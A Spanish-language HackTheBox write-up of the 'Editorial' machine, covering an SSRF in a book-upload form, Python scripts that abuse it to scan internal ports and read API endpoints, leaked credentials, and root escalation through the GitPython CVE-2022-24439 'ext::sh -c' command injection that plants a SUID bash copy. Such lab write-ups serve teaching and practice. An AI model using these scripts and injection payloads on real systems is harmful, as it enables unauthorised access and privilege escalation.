Editorial – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Editorial” es una máquina de dificultad fácil de la plataforma HackTheBox
. El servidor vĂctima está corriendo una página web. Esta página es vulnerable a Server-Side Request Forgery
(SSRF
), lo cual permite exponer endpoints internos de la máquina vĂctima. Uno de estos endpoints filtra credenciales para un usuario dentro de la máquina vĂctima, lo que nos permite ganar acceso inicial a Ă©sta. Ya dentro de la máquina vĂctima, somos capaces de encontrar un repositorio de git
el cual filtra credenciales para un segundo usuario. Este segundo usuario puede correr un script de Python
con sudo
, el cual utiliza una librerĂa de git
vulnerable a CVE-2022-24439, lo cual nos permite inyectar comandos y ejecutarlos como un usuario privilegiado; ganando asĂ acceso total a la máquina vĂctima.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
sobre la máquina vĂctima para ver quĂ© puertos TCP
tiene abiertos, tenemos 2 puertos abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:42 -04
Initiating SYN Stealth Scan at 20:42
Scanning 10.10.11.20 [65535 ports]
Discovered open port 22/tcp on 10.10.11.20
Discovered open port 80/tcp on 10.10.11.20
Completed SYN Stealth Scan at 20:43, 18.11s elapsed (65535 total ports)
Nmap scan report for 10.10.11.20
Host is up, received user-set (0.17s latency).
Scanned at 2024-07-13 20:42:45 -04 for 18s
Not shown: 63302 closed tcp ports (reset), 2231 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.29 seconds
Raw packets sent: 88944 (3.914MB) | Rcvd: 77451 (3.098MB)
Revisando las versiones/detalles de estos puertos tenemos:
❯ sudo nmap -sVC -p22,80 10.10.11.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:44 -04
Nmap scan report for 10.10.11.20
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Del output del escaneo puedo ver que el sitio HTTP
redirige al dominio http://editorial.htb
, de manera que agregamos este dominio a nuestro archivo /etc/hosts
ejecutando en una terminal:
❯ echo '10.10.11.20 editorial.htb' | sudo tee -a /etc/hosts
Una vez agregado, podemos adicionalmente revisar el sitio con la herramienta WhatWeb
. Aunque el escaneo no muestra nada interesante fuera de que el servidor está corriendo con Nginx
:
❯ whatweb -a 3 http://editorial.htb
http://editorial.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.20], Title[Editorial Tiempo Arriba], X-UA-Compatible[IE=edge], nginx[1.18.0]
Visitando http://editorial.htb
en un navegador de internet como Firefox
muestra una página web:
Luego de inspeccionar la página, podemos ver que hay un botón Publish with us
(“Publica con nosotros”) el cual redirige a http://editorial.htb/upload
, donde podemos ver que podemos poner data para subir un libro:
Noto que podemos pasar tanto un archivo como una url. Si pasamos un link como http://10.10.16.9:8080/test
(luego de empezar un listener con netcat
en el puerto 8080
ejecutando nc -lvnp 8080
, donde 10.10.16.9
es nuestra IP de atacante) notamos que la página muestar un mensaje:
✍️ Request Submited! 🔖 We'll reach your book. Let us read and explore your idea and soon you will have news 📚
De manera que sumo que la peticiĂłn ha sido subida/ejecutada. Pero no recibo nada en el listener con netcat
.
Obtenemos algo en nuestro listener de netcat
si en lugar de clickear en Send book info
clickeamos en Preview
en la parte inferior derecha. Poniendo como url, por ejemplo, http://10.10.16.9:8080/test
y luego de clickear en Preview
muestra algo en mi listener esta vez:
❯ nc -lvnp 8080
listening on [any] 8080 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.20] 40898
GET /test HTTP/1.1
Host: 10.10.16.9:8080
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Interceptamos con Burpsuite
la peticiĂłn enviada al clickear en Preview
y la enviamos al repeater Repeater
. Tenemos asĂ la peticiĂłn HTTP
:
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------1575085794932368148323839479
Content-Length: 359
Origin: http://editorial.htb
DNT: 1
Connection: close
Referer: http://editorial.htb/upload
-----------------------------1575085794932368148323839479
Content-Disposition: form-data; name="bookurl"
http://10.10.16.9:8000
-----------------------------1575085794932368148323839479
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------1575085794932368148323839479--
Y obtenemos la respuesta:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 13 Jul 2024 01:11:40 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 61
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
Donde tenemos una url en esta respuesta:
http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
Si visitamos esta url podemos ver una simple imagen bajo el texto Book information
:
Para revisar si este servicio es vulnerable ante un Server-Side Request Forgery
(SSRF
) creamos un simple script en Python
el cual revisa el length/tamaño de la respuesta recibida cuando hacemos un request a 127.0.0.1
a diferentes puertos. Esperamos que si algĂşn puerto interno está abierto, Ă©ste devuelva una respuesta con un tamaño diferente al por “defecto” (el cual es 61
). El script es:
#!/usr/bin/python3
import requests
from multiprocessing import Pool
burp0_url = "http://editorial.htb/upload-cover"
burp0_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "multipart/form-data; boundary=---------------------------1575085794932368148323839479",
"Origin": "http://editorial.htb",
"DNT": "1",
"Connection": "close",
"Referer": "http://editorial.htb/upload"
}
exclude_length = 61
def check_port(port):
burp0_data = (
f"-----------------------------1575085794932368148323839479\r\n"
f"Content-Disposition: form-data; name=\"bookurl\"\r\n\r\n"
f"http://127.0.0.1:{port}\r\n"
f"-----------------------------1575085794932368148323839479\r\n"
f"Content-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\n"
f"Content-Type: application/octet-stream\r\n\r\n\r\n"
f"-----------------------------1575085794932368148323839479--\r\n"
)
try:
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=30)
if 'Content-Length' in r.headers:
size = int(r.headers['Content-Length'])
else:
size = len(r.content)
if size != exclude_length:
print(f"[+] Port {port} returns size {size} (different from average size {exclude_length})")
except requests.exceptions.RequestException as e:
print(f"[-] Port {port} raised an exception: {e}")
if __name__ == "__main__":
with Pool(processes=30) as pool:
pool.map(check_port, range(1, 65536))
Luego de ejecutarlo y esperar obtenemos algo:
❯ python3 SSRF_explorer_multiprocessing.py
[+] Port 5000 returns size 51 (different from average size 61)
El puerto 5000
retorna algo diferente.
Si visitamos http://127.0.0.1:5000
el Ăcono al lado de la barra donde podemos poner la url desaparece:
Revisamos qué es lo que se devuelve de esta respuesta al apuntar al puerto interno 5000
(la cual es una url sin un archivo .jpeg
) y el sitio web nos devuelve una url. Por ejemplo, en mi caso obtengo un directorio static/uploads/b077f08e-d63d-4b99-b117-e017a9b797bb
. Si revisamos este sitio web con cURL
Ă©ste muestra:
❯ curl -s http://editorial.htb/static/uploads/b077f08e-d63d-4b99-b117-e017a9b797bb
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
Tenemos algunos endpoints de API expuestos. Recordar estos endpoints, ya que son varios.
Para resumir, de momento hemos encontrado lo siguiente:
- El sitio web es vulnerable a
Server-Side Request Forgery
, con el puerto5000
internamente expuesto. - Cuando hacemos una peticiĂłn al servicio expuesto interno (
http://127.0.0.1:5000
), éste también crea endpoints de API públicos en el servidor. Estos endpoints públicos están temporalmente disponibles en la rutahttp://editorial.htb/<endpoint-temporal>
. - Podemos tratar de acceder a estos endpoints para extraer informaciĂłn.
Para esto creamos nuevamente un script de Python
el cual realiza auitomatiza todos los pasos descritos anteriormente. Llamaré este script API_requests.py
. Lo ejecutamos para ver el contenido de los endpoints expuestos (los cuales indicamos más arriba que habĂa que recordar):
#!/usr/bin/python3
import requests
import argparse
def get_arguments():
parser = argparse.ArgumentParser(description='Get info in webpage.')
# Add arguments
parser.add_argument('-e' ,'--endpoint', type=str, help='Endpoint to make the request', required=True)
return parser.parse_args()
def check_endpoint(endpoint: str)->str:
if endpoint.startswith('/'):
return endpoint
return '/'+endpoint
def main()->None:
# Get arguments from user
args = get_arguments()
# Set info for HTTP Request
burp0_url = "http://editorial.htb/upload-cover"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "multipart/form-data; boundary=---------------------------1575085794932368148323839479", "Origin": "http://editorial.htb", "DNT": "1", "Connection": "close", "Referer": "http://editorial.htb/upload"}
url_request = f'http://127.0.0.1:5000{check_endpoint(args.endpoint)}'
print(f"[+] Making request to {url_request!r}...")
burp0_data = f"-----------------------------1575085794932368148323839479\r\nContent-Disposition: form-data; name=\"bookurl\"\r\n\r\n{url_request}\r\n-----------------------------1575085794932368148323839479\r\nContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------1575085794932368148323839479--\r\n"
r_post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
url = r_post.text.strip()
request_url = f'http://editorial.htb/{url}'
print(f"[+] Attempting request to {request_url!r}...")
r_get = requests.get(request_url, headers=burp0_headers)
print("[+] Output is:")
print(r_get.text)
if __name__ == "__main__":
main()
Ejecutamos este script y funciona. Si, por ejemplo, vemos qué es lo que devuelve el endpoint de la API /api/latest/metadata/messages/coupons
obtenemos:
❯ python3 API_request.py -e '/api/latest/metadata/messages/coupons'
[+] Making request to 'http://127.0.0.1:5000/api/latest/metadata/messages/coupons'...
[+] Attempting request to 'http://editorial.htb/static/uploads/52e8c6f5-0a68-4de1-8dfc-88037cc165e3'...
[+] Output is:
[{"2anniversaryTWOandFOURread4":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"12/02/2024"}},{"frEsh11bookS230":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"31/11/2023"}}]
Obtenemos algo interesante al consultar el endpoint /api/latest/metadata/messages/authors
:
❯ python3 API_request.py -e '/api/latest/metadata/messages/authors'
[+] Making request to 'http://127.0.0.1:5000/api/latest/metadata/messages/authors'...
[+] Attempting request to 'http://editorial.htb/static/uploads/06be6adb-5a83-46fc-954f-b63366e3d8a4'...
[+] Output is:
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
El mensaje contiene credenciales: dev:dev080217_devAPI!@
.
Revisamos si estas estas credenciales funcionan por medio de SSH
con la herramienta NetExec
:
❯ netexec ssh 10.10.11.20 -u dev -p 'dev080217_devAPI!@'
SSH 10.10.11.20 22 10.10.11.20 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH 10.10.11.20 22 10.10.11.20 [+] dev:dev080217_devAPI!@ (non root) Linux - Shell access!
y funcionan.
Ergo, nos logueamos en la máquina vĂctima a travĂ©s de SSH
con estas credenciales:
❯ sshpass -p 'dev080217_devAPI!@' ssh -o stricthostkeychecking=no dev@10.10.11.20
<SNIP>
dev@editorial:~$ whoami
dev
Podemos obtener la flag de usuario.
Root Link to heading
Mirando qué directorios/archivos tenemos disponibles en /home/dev
podemos ver un directorio llamado apps
:
dev@editorial:~$ ls -la
total 32
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 .
drwxr-xr-x 4 root root 4096 Jun 5 14:36 ..
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 apps
lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 6 2022 .bashrc
drwx------ 2 dev dev 4096 Jun 5 14:36 .cache
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
-rw-r----- 1 root dev 33 Jul 13 00:42 user.txt
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
Este directorio contiene otro directorio .git
. Podemos entonces revisar los commits previos de este proyecto:
dev@editorial:~/apps$ git log -n 10
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
Eventualmente, podemos ver informaciĂłn importante en uno de los commits:
dev@editorial:~/apps$ git diff 1e84a036b2f33c59e2390730699a488c65643d28
diff --git a/app_api/app.py b/app_api/app.py
deleted file mode 100644
index 61b786f..0000000
--- a/app_api/app.py
+++ /dev/null
<SNIP>
'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYou
r login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as pos
sible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name
+ " Team."
- }) # TODO: replace dev credentials when checks pass
<SNIP>
Tenemos nuevas credenciales disponibles: prod:080217_Producti0n_2023!@
Podemos ver un mensaje similar al cual habĂa filtrado las credenciales para el usuario dev
, pero esta vez para un usuario llamado prod
. Reviso si este usuario existe en la máquina vĂctima:
dev@editorial:~/apps$ cat /etc/passwd | grep "prod"
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
Dado que existe, pivoteamos internamente a este usuario utilizando las credenciales halladas:
dev@editorial:~/apps$ su prod
Password: 080217_Producti0n_2023!@
prod@editorial:/home/dev/apps$ whoami
prod
Revisamos qué es lo que puede correr este nuevo usuario con sudo
:
prod@editorial:/home/dev/apps$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Podemos ejecutar con sudo
un script con python3
llamado /opt/internal_apps/clone_changes/clone_prod_change.py
y luego proveer un argumento extra. Revisando el script que podemos ejecutar dentro de la máquina vĂctima, este es:
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
La parte interesante/inusual es la librerĂa git
. Además, el script está usando el argumento que le damos (siendo recibido en el script como sys.argv[1]
), el cual es ejecutado luego por la librerĂa.
Buscando por vulnerabilidades para esta librerĂa encontramos este post donde muestran cĂłmo esta librerĂa se puede utilizar para ejecutar comandos junto con su issue de Github a esta vulnerabilidad. Esta vulnerabilidad está clasificada como CVE-2022-24439 y afectan versiones de la librerĂa gitpython
hasta la 3.1.30
. Si revisamos la versiĂłn disponible de la librerĂa git
en la máquina vĂctima renemos:
prod@editorial:/home/dev/apps$ python3 -c 'import git; print(git.__version__)'
3.1.29
Esta versiĂłn deberĂa de ser vulnerable.
El ejemplo dado en el issue de Github es:
<gitpython::clone> 'ext::sh -c touch% /tmp/pwned'
Adaptamos entonces este comando con sudo
. Crearé una copia del binario /bin/bash
y, a aquella copia, le asignamos permisos SUID. Primero, probamos clonando /bin/bash
a un archivo llamado /tmp/gunzf0x
:
prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/gunzf0x'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cp% /bin/bash% /tmp/gunzf0x new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:/home/dev/apps$ ls -la /tmp
total 1412
drwxrwxrwt 12 root root 4096 Jul 13 03:10 .
drwxr-xr-x 18 root root 4096 Jun 5 14:54 ..
drwxrwxrwt 2 root root 4096 Jul 13 00:37 .font-unix
-rwxr-xr-x 1 root root 1396520 Jul 13 03:10 gunzf0x
<SNIP>
Revisando el directorio /tmp
vemos que la copia ha sido creada y, además, el propietario de ésta es el usuario root
(de manera que el comando copiando el binario /bin/bash
fue ejecutado por este usuario).
Tal cual mencionamos, ahora le asignamos permisos SUID a la copia:
prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% 4755% /tmp/gunzf0x'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
<SNIP>
prod@editorial:/home/dev/apps$ ls -la /tmp
total 1412
drwxrwxrwt 12 root root 4096 Jul 13 03:10 .
drwxr-xr-x 18 root root 4096 Jun 5 14:54 ..
drwxrwxrwt 2 root root 4096 Jul 13 00:37 .font-unix
-rwsr-xr-x 1 root root 1396520 Jul 13 03:10 gunzf0x
<SNIP>
Tal cual podemos ver en -rwsr-xr-x
, la s
indica que este tiene el permiso 4755
y, por ende, puede ser ejecutada con permisos del propietario.
Finalmente corremos la copia con la flag -p
, ejecutándola asà como el dueño de ésta (que es root
):
prod@editorial:/home/dev/apps$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
Somos asĂ el usuario root
. Podemos leer la flag de este usuario en el directorio /root
.
~Happy Hacking